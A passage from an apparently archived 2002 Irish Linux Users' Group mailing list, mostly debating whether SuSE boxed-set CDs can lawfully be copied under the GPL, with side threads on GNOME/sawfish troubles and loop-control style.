Anyway, I should have initiated a new thread for my different request > about S.u.S.E. CDs. You'll probably want to buy a retail boxed set, e.g., via mail order. The only editions of SuSE for i386 that are lawful to duplicate and redistribute are as follows: SuSE Evaluation: This is a single-CD ISO9660 image, currently at v. 7.0. If you don't mind having only one disk's worth of SuSE, and being several revisions behind the boxed-set editions, this is quite good and recommended. SuSE Live Eval: Another CD image, currently at v. 8.0, but this one doesn't install to hard drives at all: It's a demo disk. SuSE FTP Edition (for lack of an official name): Not a CD image, but the contents of ftp://ftp.suse.com/pub/suse/i386/current/ . You would have to mirror the ftp directory tree, and then figure out how to install (e.g., over NFS). Currently at v. 8.0. There are three (non-redistributable) boxed-set editions, at different price points. I'm assuming in the above that you're talking about an i386-architecture computer. Slightly different answers apply for Alpha, IA64, SPARC, PPC, SPARC64, PPC64, or S390. -- Cheers, ""Teach a man to make fire, and he will be warm Rick Moen for a day. Set a man on fire, and he will be warm rick@linuxmafia.com for the rest of his life."" -- John A. Hrastar -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Anders Holm ,"""Damian O' Sullivan"" ,","Mon, 12 Aug 2002 06:05:32 +0100",RE: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"Hi Damian. SuSe has a Sparc version I previously been running on a Sun Ultra 5 at least. Worked fine, albeit a bit slow... ;) //Anders At 14:32 09/08/2002, Damian O' Sullivan wrote: >I use gnome here on half a dozen sunray 150 boxen. Been trying to get linux >on them for along time with mixed results.. Has anyone succeeded in this? > > > -> It does work on SunRays. Just install it normally on the > > server, the sun > > install will make the necessary changes to the dtlogin screen > > and you can just > > select gnome from there. AFAIK you can do this for any window > > manager. But I > > don't admin sunray servers so I'm not fully aware of the > > issues or exact > > requirements. > > > > Cheers, > > ~Al > > > > >-- >Irish Linux Users' Group: ilug@linux.ie >http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. >List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Sun, 11 Aug 2002 15:44:58 +0200 (CEST)",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"> First you complain about the supposed lack of > threading in Internet Mail, and then you reply to > one of the messages in that thread on an unrelated > topic, messing things up for those of us with > threading turned on? > Even Outlook Express does threading! > Sigh... I apologise for wasting your time. I follow this list from home, and thus use a yahoo account. I haven't been able to find a threading mechanism for this, plus the fact that the list can start to fill up my inbox after about a week of no pruning. This is the reason for my initial grumbling. I would like to be able to follow what's going on without clogging up my yahoo account. Anyway, I should have initiated a new thread for my different request about S.u.S.E. CDs. I won't repeat my error! Again, my humble apologies. Paul... > Nick p.s. accidentally emailed privately - sorry! ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Irish LUG list ,"Mon, 12 Aug 2002 09:29:38 +0100",[ILUG] gargnome & sawfish..,"I decided to try out GarGnome, to see what gnome2 looks like. It's pretty, I'll give it that. However, there seemed to be loads of bugs - sawfish threw wobblers all over the place, so I tryed out metacity - which doesn't have a GUI configurator, and arsed if I'm going back to the fvwm days when you had to set settings by hand, without an idea what the values looked like. So, I went back to 1.4 - and now sawfish can't start applets (yes, I did change the LD_LIBRARY_PATH back) and the panel can't make new workspaces. Any ideas what could have happened ? Would sawfish 2.0 silently change the config files & break them? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Mon, 12 Aug 2002 11:43:52 +0200 (CEST)",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Rick Moen a crit: > You'll probably want to buy a retail boxed set, > e.g., via mail order. > The only editions of SuSE for i386 that are lawful > to duplicate and redistribute are as follows: I'm confused. I thought it was GPL'ed and that the money you paid SuSE was for your 60 day support or whatever? I don't particularly need support, so I'm not really interested in purchasing a set of disks with 4 billion apps which I'll never use. > I'm assuming in the above that you're talking about > an i386-architecture computer. Yes, thanks for your input. Anyway, I've a friend with 7.3 pro, so I'll just ask him. Paul... > Rick Moen ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Mon, 12 Aug 2002 19:49:32 +0200 (CEST)",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"wintermute a crit: > > I'm confused. I thought it was GPL'ed and > > that the money you paid SuSE was for your > > 60 day support or whatever? > No, as of oh, about a year to a year and a half ago > SuSE revoked it's free offering of it's retail > distro. > Sometime about the start of the great slump, SuSE > pulled free release of it's main x86 product. Fine - nobody can oblige SuSE to do anything other than put up the ftp version, but surely they can't prevent a CD owner from burning a copy and giving it to me? What is the GPL all about then? > I'm not sure on the details of it, but I think SuSE > have probably done an OpenBSD of the cd they sell? But *_surely_* they cannot BSD Linux? It's not theirs to BSD! > I could be wrong, I don't use SuSE so haven't > investigated, but essentially the only 'free' > version of SuSE will be it's tp offering. Nobody can oblige them to give away anything other than ftp - I'm not asking for that. I'm asking for somebody who has Linux (GPL'ed) to burn a copy for me and give it to me in exchange for a reasonable consideration (say, the price of the CDs and a bottle of Frascati or a couple of pints?). What does the GPL mean now? I don't want their 60 days of free email support or anything similar (if I did, I would pay for it). Paul... ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kenn Humborg"" ","""Paul Linehan"" , ","Mon, 12 Aug 2002 18:54:26 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"> > No, as of oh, about a year to a year and a half ago > > SuSE revoked it's free offering of it's retail > > distro. > > > Sometime about the start of the great slump, SuSE > > pulled free release of it's main x86 product. > > > Fine - nobody can oblige SuSE to do anything other > than put up the ftp version, but surely they > can't prevent a CD owner from burning a copy and > giving it to me? > > What is the GPL all about then? Not everything on the SuSE CDs is GPL-ed. IIRC, YAST has a more ""proprietary"" license. There may be other third-party commercial products on there as well, which cannot be freely copied under the GPL. Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 11:12:20 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting Paul Linehan (plinehan@yahoo.com): > What is the GPL all about then? (1) I'm sure you are not _actually_ under the delusion that everything on a typical Linux distribution issued subject to the terms of the GNU GPL. For one thing, it seems difficult to imagine you _not_ being aware that XFree86 is under the X/MIT licence, that Perl is under the Perl Artistic Licence, that Apache is under the Apache licence, and that numerous BSD utilities are under the BSD licence. Furthermore, xv, Acrobat Reader, pine, pico, Netscape Communicator, and a whole slew of other applications typically included aren't under any open source licence at all, but rather are proprietary. (2) You seem, in any event, to be under a misconception as to what the GPL provides, as to code under its umbrella. It says (in part) that _if_ you have lawfully received a copy of covered binary code, then you may insist on one of certain forms of access to the matching source code. Please note that it does _not_ guarantee you any rights whatsoever if nobody's decided to give you a lawful copy. > But *_surely_* they cannot BSD Linux? It's not theirs to BSD! Again, you seem to be under a misconception. If you check, I'm quite confident you'll see that SuSE are in full compliance with GPL v. 2's source-code access provisions concerning GPLed code included in their distribution. And no, nobody has the legal right to alter licence terms to someone else's copyrighted property. But you have not cited any reasons to believe that SuSE have done any of those things. > Fine - nobody can oblige SuSE to do anything other than put up the ftp > version, but surely they can't prevent a CD owner from burning a copy > and giving it to me? See below. You and the CD owner would be committing copyright violation. SuSE Linux AG are rather unlikely to knock down your door and haul you down to a judge, if that's what you're asking. > Nobody can oblige them to give away anything other than ftp - I'm not > asking for that. I'm asking for somebody who has Linux (GPL'ed) to > burn a copy for me and give it to me in exchange for a reasonable > consideration (say, the price of the CDs and a bottle of Frascati or a > couple of pints?). You appear confused between Linux the kernel (which is a copyrighted work to which source code access is guaranteed under the GNU GPL if you've received a lawful copy of a binary version) and the rather imprecise concept of a ""Linux distribution"", which is a number of works under diverse licence terms collected onto some media. In the case of SuSE's boxed sets -- which are NOT lawful to duplicate and redistribute in their entirety -- at least a couple of the applications on them (YaST, YaST2, and the installer program) are proprietary copyrighted works of SuSE Linux AG. In the general case, duplicating and redistributing CD-ROMs containing those works is copyright infringement. Illegal. No amount of hand-waving about the GNU GPL is going to change that. (SuSE permit people to duplicate and redistribute the ""evaluation"" and ""live-eval"" CD editions, despite that fact, as long as it is not ""for value"".) If you want to have a SuSE boxed set to install from, buy one. > What does the GPL mean now? Suggestion: Read it. I would guess you've not yet done so. -- Cheers, Live Faust, die Jung. Rick Moen rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 11:26:25 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting Kenn Humborg (kenn@bluetree.ie): > Not everything on the SuSE CDs is GPL-ed. IIRC, YAST has a more > ""proprietary"" license. There may be other third-party commercial > products on there as well, which cannot be freely copied under the > GPL. Indeed. The ftp'able tree (e.g., 8.0 for i386) contains to my knowledge only items whose licences allow public redistribution, even where they aren't open source. The retail boxed sets (Personal Edition, Professional Edition, and Enterprise Edition) _add_ a number of additional proprietary apps that are very much _not_ freely redistributable. I made a list, a while back: Freely redistributable proprietary apps in SuSE ---------------------------------------------- UofW pine/pico/pilot John Bradley's xv graphics tool T.C. Zhao and Mark Overmars's xforms/xformsd graphics toolkit (some others) NON-freely redistributable apps (in boxed sets): ----------------------------------------------- Siemens AG's DB4Web middleware Poet Software Corp. FastObjects SDK for Java and C++ IBM Java 2 Intel-v92ham winmodem driver MainConcept GmbH's MainActor video-editing package www.mimer.com's MimerSQL MGE UPS Systems's Personal Solution Pac (MGE power management software) Real Networks's RealPlayer Adobe Acrobat Reader Software AG's ADABAS D H+BEDV Datentechnik GmbH's AntiVir V Knox Sofware Comm.'s Arkeia Datan's dataplore digital-signal analysis package Enterprise Solution Server (ESS) ERP system Sun Microsystems Java2 Borland Kylix Open Edition Moneydance OpenEIS enterprise information system Opera Software's Opera browser Heisch Automatisierungstechnik's rk512 serial interface to Simatic S5 / S7 plcs SAP database Sun Microsystems Star Office VMware, Inc's VMware http://www.vshop.org/'s vshop e-commerce software for MySQL All of the latter category either are available only via retail sale, or are available lawfully on the public Internet only from authorised distribution sites or on CDs from authorised distributors. The exact terms differ. For example, you can download Borland Kylix Open Edition from borland.com, free of charge -- but you'll notice there's no mention of any right to redistribute. That right is reserved by default to the copyright owners, and Borland doesn't include it in the Kylix proprietary licence. -- Cheers, ""We're sorry; you have reached an imaginary number. Rick Moen Please rotate your 'phone ninety degrees and try again."" rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,ilug@linux.ie,12 Aug 2002 19:52:06 +0100,Re: [ILUG] slashdot EW Dijkstra humor,"On Mon, 2002-08-12 at 12:09, Albert White - SUN Ireland wrote: > If you want to stop in the middle of that because some condition is set then > you probably should have used a while loop instead of `for`: > i:=0 > flag:=false > while [ i != 100 && flag != true ] > do > .... > # found our special case set flag to jump out of loop > flag:=true > .... > i++; > done > > If you're using a break or similar construct in a while loop then you might > want to rethink your guard condition. Good point, I didn't think of that. However, that doesn't help with a case statement, which IMHO is cleaner than using an if statement if you have a lot of branches... but then again maybe that should be refactored away with polymorphism :) -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kenn Humborg"" ","""Nick Murtagh"" , ","Mon, 12 Aug 2002 19:56:23 +0100",RE: [ILUG] slashdot EW Dijkstra humor,"> > If you're using a break or similar construct in a while loop > then you might > > want to rethink your guard condition. > > Good point, I didn't think of that. However, that doesn't help with a > case statement, which IMHO is cleaner than using an if statement if you > have a lot of branches... but then again maybe that should be refactored > away with polymorphism :) Well, you should consider 'break' inside a 'select' statement to be part of the syntax, rather than a control flow modifier. A _mandatory_ part of the syntax, at that. Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Mon, 12 Aug 2002 19:59:21 +0200 (CEST)",[ILUG] To hell with SuSE - is there a distro I can get (Was: SUSE 8 disks? (thread changed slightly)),"""John P. Looney"" a crit: > > I'm confused. I thought it was GPL'ed and > > that the money you paid SuSE was for your > > 60 day support or whatever? > The RPMS are. The distribution as a whole work is > copyright of SuSE. This IMHO, goes against the spirit of GPL. Thanks for the info. Is there any distro (pref. Mandrake or failing that, Red Hat or other) out there for which people have disks, are prepared to burn copies and are allowed give to me for a small fee? TIA. Paul... > Kate ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 12:05:15 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting Nick Murtagh (nickm@go2.ie): > The same one as provided on www.sapdb.org? > Which is released under the GPL/LGPL? I honestly don't know. I made that list a long time ago, and certainly didn't re-research it before posting it today. So, I offer three candidate explanations: 1. I muffed that part, the first time, and was talking through my hat. 2. SAP had a proprietary version licensed to SuSE at the time. 3. SAP still have one licensed to SuSE today. I'm not sure which applies. #1 is certainly a good possibility. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,ilug@linux.ie,12 Aug 2002 20:00:10 +0100,Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Mon, 2002-08-12 at 19:26, Rick Moen wrote: > NON-freely redistributable apps (in boxed sets): > ----------------------------------------------- > SAP database The same one as provided on www.sapdb.org? Which is released under the GPL/LGPL? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,Kenn Humborg ,12 Aug 2002 20:05:58 +0100,RE: [ILUG] slashdot EW Dijkstra humor,"On Mon, 2002-08-12 at 19:56, Kenn Humborg wrote: > Well, you should consider 'break' inside a 'select' statement > to be part of the syntax, rather than a control flow modifier. Why? When it comes down to the assembly level, it gets turned into some kind of jump instruction. Should I pretend I don't know this when I'm programming? > A _mandatory_ part of the syntax, at that. It's not mandatory. You can leave out the break, and the flow of control will continue to the next case. Which can be useful in certain circumstances. Nick -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 lbedford@lbedford.org,Paul Linehan ,"Mon, 12 Aug 2002 20:21:14 +0100",Re: [ILUG] To hell with SuSE - is there a distro I can get (Was: SUSE 8 disks? (thread changed slightly)),"On Mon, Aug 12, 2002 at 07:59:21PM +0200, Paul Linehan wrote: > > ""John P. Looney"" a crit: > > > > I'm confused. I thought it was GPL'ed and > > > that the money you paid SuSE was for your > > > 60 day support or whatever? > > > The RPMS are. The distribution as a whole work is > > copyright of SuSE. > > > This IMHO, goes against the spirit of GPL. > > > Thanks for the info. > I can copy the RedHat official download ISO's. I can't call it redhat if I sell it, so I can give you copies of thread linux 7.3 if you want. Failing that, I have the 7 CD's from Woody (Debian 3.0). Otheriwse, you need to find a different source. L. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 13:29:15 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting John P. Looney (valen@tuatha.org): > The RPMS are. The distribution as a whole work is copyright of SuSE. I've not seen any claim from SuSE of copyright over the distribution as a whole. (That would be a ""compilation copyright"", to use the legal term.) But they definitely assert (and in fact own) copyright over YaST, YaST2, and the associated installer program. So, if one wanted to distribute a version of SuSE free of encumbrances from SuSE Linux AG, one would merely have to write a replacement installer and do without YaST/YaST2 (and probably a few other things they wrote). A Simple Matter of Programming. -- Cheers, ""That article and its poster have been cancelled."" Rick Moen -- David B. O'Donnel, sysadmin for America Online rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 13:14:36 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting wintermute (cout@eircom.net): > No, as of oh, about a year to a year and a half ago > SuSE revoked it's free offering of it's retail distro. > Sometime about the start of the great slump, SuSE pulled > free release of it's main x86 product. > > So the last free version of SuSE you could get via a Linux Format > par example was 7.0 I think. Let's limit the discussion to x86, to simplify. There are some additional complications for some of the other architectures. (Essentially, they make most of the other architectures' ISO images available gratis, because they aren't selling boxed sets and want the public to have them anyway. The ISOs include third-party proprietary apps, but of necessity not the highly-restricted ones available in boxed set editions.) (1) You can get a single-disk ISO9660 image of SuSE ""evaluation"" edition, version 7.0, _lots_ of places, including here: ftp://ftp.suse.com/pub/suse/i386/evaluation-7.0/evaluation-7.0.iso (2) You could ""wget -r"" (or equivalent) the entire 8.0 FTP Edition (for lack of an official name for it) from here (or mirror sites): ftp://ftp.suse.com/pub/suse/i386/8.0/ Please note the restricted rights granted for use of the SuSE-originated YaST program specifically, stated here: ftp://ftp.suse.com/pub/suse/i386/8.0/COPYRIGHT.yast A grant of limited redistribution rights to the distribution as a whole (apparently covering the FTP Edition and the Evaluation Edition) is stated here: ftp://ftp.suse.com/pub/README.mirror-policy Quoting: please make sure that you meet the following conditions if you intend to mirror ftp.suse.com: - SuSE Linux (YaST in particular) may not be reproduced on CDs or other media FOR VALUE. Reproduction for personal or educational use is explicitly allowed and encouraged. > I'm not sure on the details of it, but I think SuSE have > probably done an OpenBSD of the cd they sell? OpenBSD Foundation assert a compilation copyright over the OpenBSD official ISO9660 image. A compilation copyright is the copyright monopoly that, for example, the editor of a set of third-party short stories receives. Even though he didn't write any of the constituent stories, he put creative work into selecting, arranging, and editing those stories. The law recognises such efforts as creative works deserving copyright protection, if there is sufficient creative effort. (A judge would decide, if someone made a court case of it.) Courts have held, on the other hand, that arrangement and publication of alphabetical telephone listings in a ""yellow pages"" telephone directory (the advertising section) don't have anywhere near enough creative content to support an overreaching telco's claim of compilation copyright. (The court politely said ""Nice try"", in effect.) The OpenBSD Foundation's claim may be a bit of a legal bluff, too. Theoretically, one could get around it by creating a slightly different set of ISO9660 images, thereby finessing the claim of compilation copyright. But nobody bothers, because OpenBSD Foundation actually charges only a very reasonable price for jewel-case sets, and nobody wants to endure the barrage of hatemail from Theo & co. I've never seen any claim from SuSE of compilation copyright on its ISOs or distribution as a whole. > I could be wrong, I don't use SuSE so haven't investigated, > but essentially the only 'free' version of SuSE will be it's > ftp offering. Again, the ""FTP Edition"" and the Evaluation Edition may be redistributed more-or-less freely, as long as it's not ""for value"". (Ditto the ""live-eval"" edition, which is a demo only.) The three boxed sets' contents may not. -- Cheers, A good man has few enemies; a ruthless man has none. Rick Moen rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 14:04:55 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting Nick Murtagh (nickm@go2.ie): > On Mon, 2002-08-12 at 19:26, Rick Moen wrote: > >> NON-freely redistributable apps (in boxed sets): >> ----------------------------------------------- >> SAP database > > The same one as provided on www.sapdb.org? > Which is released under the GPL/LGPL? Looking at http://www.sapdb.org/history.htm , it seems that SAP went open-source some time in 2000, so my information likely was correct at the time I compiled that list. In addition, please note that, just because a company decides to go open source with a codebase as of some new release version, that doesn't make all versions ever released open source retroactively. A licence attaches to a _copy_ of a creative work. So, if there was a proprietary, non-redistributable copy in SuSE boxed sets, it's still proprietary and non-redistributable -- unless SAP AG decided to mail out a separate permission grant for it. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 13:46:03 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting Paul Linehan (plinehan@yahoo.com): > I'm confused. I thought it was GPL'ed and that the money you paid SuSE > was for your 60 day support or whatever? Yes, you're confused. A Linux distribution (_any_ Linux distribution) contains lots and lots of separate codebases. Some are under the GNU GPL. Many are not. Are you clear on this point, now? This is my second try. One suspects that you actually understand perfectly, but just don't like it. You're further confused if you think the GNU GPL gives you the right to get covered software for free. It does not. It provides that _if_ you've lawfully received a copy of the covered binary version, you have rights to also receive the matching source code. > I don't particularly need support, so I'm not really interested in > purchasing a set of disks with 4 billion apps which I'll never use. Then, if you nonetheless want a SuSE boxed set's contents, the only way you can do that without copyright violation _and_ without having to pay the purchase price is to get someone to _give_ (not ""lend"" or duplicate) you his copy. > Yes, thanks for your input. Anyway, I've a friend with 7.3 pro, so > I'll just ask him. Ask him _what_? If you're asking him to ""lend"" or duplicate his CDs, then you'll be ripping off SuSE Linux AG illegally. Don't like SuSE's product licensing? Write your own distribution. You can even grab most of what you need _from SuSE_. All you have to do is heed the licensing terms on the individual pieces. What, you think that's too much work? Then, try a different distribution. Clue: _Not_ one packaged in a retail boxed set. Even RH 7.3 retail boxed sets include non-freely redistributable applications on the Star office 5.2 CD and the Productivity Applications CD, among others. (The core 3-CD set of the basic RH distribution, on the other hand, contains only software that may be freely redistributed, whether open source or not.) -- Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread. Hi!p I'm a .signature spread virus! Copy into your ~/.signature to help me Hilp I'm .sign turepread virus! into your ~/.signature! help me! Copy Help I'm traped in your ~/signature help me! -- Joe Slater -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """wintermute"" ",ilug@linux.ie,"Tue, 13 Aug 2002 00:48:18 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Rick Moen wrote: > Don't like SuSE's product licensing? Write your own distribution. You > can even grab most of what you need _from SuSE_. All you have to do is > heed the licensing terms on the individual pieces. How unimaginably difficult is this to do? There are as far as I know, no Linux kernel hackers, nor distros that originate from this fair island right? Right. Yes it might be very,very difficult and subject to abject failure in sticking together a distro.... call it Dolmen Linux (or other), no doubt the packaging system would be one of the first places such a suggestion would stumble. Some (like me) favouring a FreeBSD style ports system others favouring a Debian style system and others still favouring *rpm style packaging. That said other *LUG have done interesting things like making blackbox. Perhaps making a distro would be ..... umm.... fun. Just a pseudo random thought. I'm only laughing on the outside My smile is just skin deep If you could see inside I'm really crying You might join me for a weep. <> -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Tue, 13 Aug 2002 01:40:21 +0200 (CEST)",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Rick Moen a crit: > > I'm confused. I thought it was GPL'ed and that > > the money you paid SuSE was for your 60 day > > support or whatever? > Yes, you're confused. I *_was_* confused. > A Linux distribution (_any_ Linux distribution) > contains lots and lots of separate codebases. > Some are under the GNU GPL. Many are not. Indeed - that I actually had understood prior to all this - for example commercial entities with trial/limited/crippled editions. Which is no problem - I don't see why that should be a problem for SuSE though - surely the more the merrrier as far as they're concerned. > Are you clear on this point, now? Vide supra. > This is my second try. Mighty white of you, old bean. > One suspects that you actually understand > perfectly, but just don't like it. One can suspect what one likes. What I didn't understand was that SuSE had proprietary extensions that it wasn't prepared to allow people to use under the GPL or even under a FreeBSD style licence. I thought that the model for the likes of SuSE was selling support and customisation, rather than what I thought of as the core ""product"". I thought that the likes of Yast came under core - maybe it worked in the glory days before, say, 2001 - I can understand that they might want to make more money, but the way in which they have done it, seems to me, to be be against the spirit of the GPL. > You're further confused if you think the GNU > GPL gives you the right to get covered software > for free. It does not. All I want is the OS and GNU apps. I was under the impression that for *_those_* all one needed was to pay for the media and not for the code itself? Ai-je tort? > It provides that _if_ you've lawfully received > a copy of the covered binary version, you have > rights to also receive the matching source code. My understanding was that binaries or whatever could be received for the cost of the media plus a token of one's appreciation (the latter being subject to agreement between the parties) - I was offering a bottle of wine plus maybe a pint or two and a chat for a copy - I don't know what the going rate is. If I wanted support from SuSE, that would be a different issue, and one for which I would be willing to pay. > > I don't particularly need support, so I'm > > no really interested in purchasing a set of > > disks with 4 billion apps which I'll never use. > Then, if you nonetheless want a SuSE boxed set's > contents, the only way you can do that without > copyright violation _and_ without having to pay > the purchase price is to get someone to _give_ > (not ""lend"" or duplicate) you his copy. I have a friend with 7.3 - I think that I'll end up doing that! Seems to me to go against the spirit of the GPL though. > > Yes, thanks for your input. Anyway, I've a > > friend with 7.3 pro, so I'll just ask him. > Ask him _what_? If you're asking him to ""lend"" or > duplicate his CDs, then you'll be ripping off SuSE > Linux AG illegally. I have now realised this, thanks to your kind explanations. I can borrow them, but not copy them? That's fine - IMHO, it goes against the spirit of the GPL though. > Don't like SuSE's product licensing? Write your > own distribution. And why not my own OS, while I'm at it? > You can even grab most of what you need > _from SuSE_. All you have to do is heed the > licensing terms on the individual pieces. And, as I've tried to explain, is not the licence terms on, say, trials for commercial company x to which I object, it is the way SuSE appears, at least to my I.T. peasant self, to have mixed up proprietary and open stuff. > What, you think that's too much work? Then, > try a different distribution. Hence my ""To hell with SuSE"" post... > Clue: _Not_ one packaged in a retail > boxed set. Even RH 7.3 retail boxed sets include > non-freely redistributable applications on > the Star office 5.2 CD and the Productivity > Applications CD, among others. And I have no problem with people sticking trial editions along with GPL'ed stuff. Why you can't pass those on though, is beyond me. Paul... ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Kenn Humborg ,Paul Linehan ,"Tue, 13 Aug 2002 01:45:37 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 01:40:21AM +0200, Paul Linehan wrote: > > Rick Moen a crit: ... > > You're further confused if you think the GNU > > GPL gives you the right to get covered software > > for free. It does not. > > All I want is the OS and GNU apps. I was under > the impression that for *_those_* all one > needed was to pay for the media and not for the > code itself? > > Ai-je tort? > > > > It provides that _if_ you've lawfully received > > a copy of the covered binary version, you have > > rights to also receive the matching source code. > > My understanding was that binaries or whatever > could be received for the cost of the media plus > a token of one's appreciation (the latter being > subject to agreement between the parties) - I was > offering a bottle of wine plus maybe a pint or two > and a chat for a copy - I don't know what the going > rate is. The GPL makes no stipulations about charging for binaries. In fact, you can go get the sources for, say, GNU's /bin/true, compile it yourself and try selling the resulting binary for EUR 1000. (And, with a good enough sales pitch, you just might get away with it!) However, what the GPL does stipulate is that you must provide the sources for that binary if asked. So I might buy it from you for EUR 1000, compile it myself and sell that binary for EUR 1. Of course, I'll need to provide the sources to anyone that asks as well. But, I just might make money at this, since there might be a market of 10000 people who would pay 1 euro for the convenience of getting a binary. But then, John Looney would step in, buy it from me for 1 euro, burn it and the sources and some of his favourite /bin/true patches on a CD and duplicate it for the cost of the media or a cream bun, depending on how hungry he is. You see, the GPL doesn't force the binaries to be zero-cost (or cost-of-media), but it puts a really big hole in any business plan that solely resells GPL software. You _can_ charge for it if you want, but you bloody well better be providing some value for that money, or you'll go out of business faster than a dot-com in 2001. And there are real ways to provide this value for money (convenience of getting it on one CD, convenience of a friendly installer, convenience of vendor-supplied updates, convenience of having what lots of other people have, posting a CD and paying a few euro is cheaper than downloading over a modem, warm fuzzy feeling of getting something from a ""real"" company, etc). There will be segments of the market that will pay various amounts for GPL software and there will be others that don't. Thankfully, the GPL allows for both, _by_design_. But the source will always be free (or minimal cost). Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Kenn Humborg ,Nick Murtagh ,"Tue, 13 Aug 2002 01:23:46 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"On Mon, Aug 12, 2002 at 08:05:58PM +0100, Nick Murtagh wrote: > On Mon, 2002-08-12 at 19:56, Kenn Humborg 